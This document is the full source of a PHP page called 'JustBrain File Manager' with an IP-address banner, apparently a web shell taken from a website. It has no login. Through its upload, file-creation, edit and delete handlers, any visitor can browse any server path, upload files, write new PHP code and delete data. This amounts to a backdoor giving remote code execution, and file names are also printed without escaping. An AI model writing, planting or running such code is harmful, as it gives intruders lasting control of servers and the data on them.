Your IP : 3.140.189.171
<?php
// Simple PHP File Manager
// Path to manage
$path = isset($_GET['path']) ? $_GET['path'] : '.';
// Normalize and secure the path
$path = realpath($path);
// Helper function to get the size of a directory
function getDirectorySize($path) {
$bytestotal = 0;
if($path !== false && $path != '' && file_exists($path)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object){
$bytestotal += $object->getSize();
}
}
return $bytestotal;
}
// Handle file upload
if(isset($_FILES['file'])){
$upload_path = $path . '/' . basename($_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)){
echo "<script>alert('File uploaded successfully!');</script>";
} else {
echo "<script>alert('File upload failed!');</script>";
}
}
// Handle file deletion
if(isset($_GET['delete'])){
$delete_file = basename($_GET['delete']); // Secure filename
$delete_path = realpath($path . '/' . $delete_file);
if(is_file($delete_path)){
unlink($delete_path);
echo "<script>alert('File deleted successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>";
} elseif(is_dir($delete_path)){
rmdir($delete_path);
echo "<script>alert('Directory deleted successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>";
} else {
echo "<script>alert('Deletion failed!');</script>";
}
}
// Handle file editing (saving changes)
if(isset($_POST['save']) && isset($_POST['content']) && isset($_POST['edit_file'])){
$edit_file = basename($_POST['edit_file']); // Secure filename
$edit_path = realpath($path . '/' . $edit_file);
if($edit_path && is_file($edit_path)) {
file_put_contents($edit_path, $_POST['content']);
echo "<script>alert('File saved successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>";
} else {
echo "<script>alert('Error saving file!');</script>";
}
}
// Handle new PHP file creation
if(isset($_POST['create']) && isset($_POST['filename'])){
$filename = preg_replace('/[^a-zA-Z0-9_\-]/', '', $_POST['filename']); // Secure filename
$new_file_path = $path . '/' . $filename . '.php';
if(!file_exists($new_file_path)){
file_put_contents($new_file_path, "<?php\n\n// New PHP File\n\n?>");
echo "<script>alert('PHP file created successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>";
} else {
echo "<script>alert('File already exists!');</script>";
}
}
// List files and directories
$files = scandir($path);
$path_parts = explode(DIRECTORY_SEPARATOR, $path);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JustBrain File Manager</title>
<style>
body { font-family: Arial, sans-serif; background-color: #f0f0f0; color: #333; margin: 0; padding: 20px; }
.file-manager { max-width: 800px; margin: 0 auto; background: #fff; padding: 20px; box-shadow: 0 0 10px rgba(0,0,0,0.1); position: relative; }
.file-manager h1 { margin-top: 0; color: #007bff; }
.path { margin: 10px 0; }
.path a { color: #007bff; text-decoration: none; }
.path a:hover { text-decoration: underline; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { padding: 10px; border: 1px solid #ddd; text-align: left; }
th { background-color: #f8f9fa; }
td a { color: #007bff; text-decoration: none; }
td a:hover { text-decoration: underline; }
.editor { margin-top: 20px; }
.editor textarea { width: 100%; height: 300px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; font-family: monospace; }
.upload-form input[type="text"], .upload-form input[type="file"] { margin-right: 10px; padding: 5px; }
.upload-form input[type="submit"] { padding: 5px 15px; border: none; background-color: #28a745; color: #fff; cursor: pointer; border-radius: 4px; }
.upload-form input[type="submit"]:hover { background-color: #218838; }
</style>
</head>
<body>
<div class="file-manager">
<h1>JustBrain File Manager</h1>
<!-- Display Path -->
<div class="path">
<?php foreach($path_parts as $key => $part): ?>
<?php $current_path = implode(DIRECTORY_SEPARATOR, array_slice($path_parts, 0, $key + 1)); ?>
<a href="?path=<?php echo urlencode($current_path); ?>"><?php echo htmlspecialchars($part); ?></a>
<?php if($key < count($path_parts) - 1): ?>
>
<?php endif; ?>
<?php endforeach; ?>
</div>
<!-- Upload Form -->
<form action="" method="post" enctype="multipart/form-data" class="upload-form">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
<!-- New PHP File Creation Form -->
<form action="" method="post" class="upload-form">
<input type="text" name="filename" placeholder="Enter file name" required>
<input type="submit" name="create" value="Create PHP File">
</form>
<!-- Files Table -->
<table>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
<?php foreach($files as $file): ?>
<?php if($file == '.' || $file == '..') continue; ?>
<tr>
<td>
<?php if(is_dir($path . '/' . $file)): ?>
<a href="?path=<?php echo urlencode($path . '/' . $file); ?>"><?php echo $file; ?></a>
<?php else: ?>
<?php echo $file; ?>
<?php endif; ?>
</td>
<td><?php echo is_dir($path . '/' . $file) ? getDirectorySize($path . '/' . $file) . ' bytes' : filesize($path . '/' . $file) . ' bytes'; ?></td>
<td>
<a href="?path=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($file); ?>" onclick="return confirm('Delete this file?');">Delete</a>
<?php if(is_file($path . '/' . $file)): ?>
<a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($file); ?>">Edit</a>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</table>
<!-- File Editor -->
<?php
if(isset($_GET['edit'])) {
$edit_file = basename($_GET['edit']);
$edit_path = realpath($path . '/' . $edit_file);
if($edit_path && is_file($edit_path)) {
$content = file_get_contents($edit_path);
?>
<div class="editor">
<h2>Edit File: <?php echo htmlspecialchars($edit_file); ?></h2>
<form action="" method="post">
<textarea name="content"><?php echo htmlspecialchars($content); ?></textarea><br>
<input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($edit_file); ?>">
<input type="submit" name="save" value="Save">
</form>
</div>
<?php }} ?>
</div>
</body>
</html>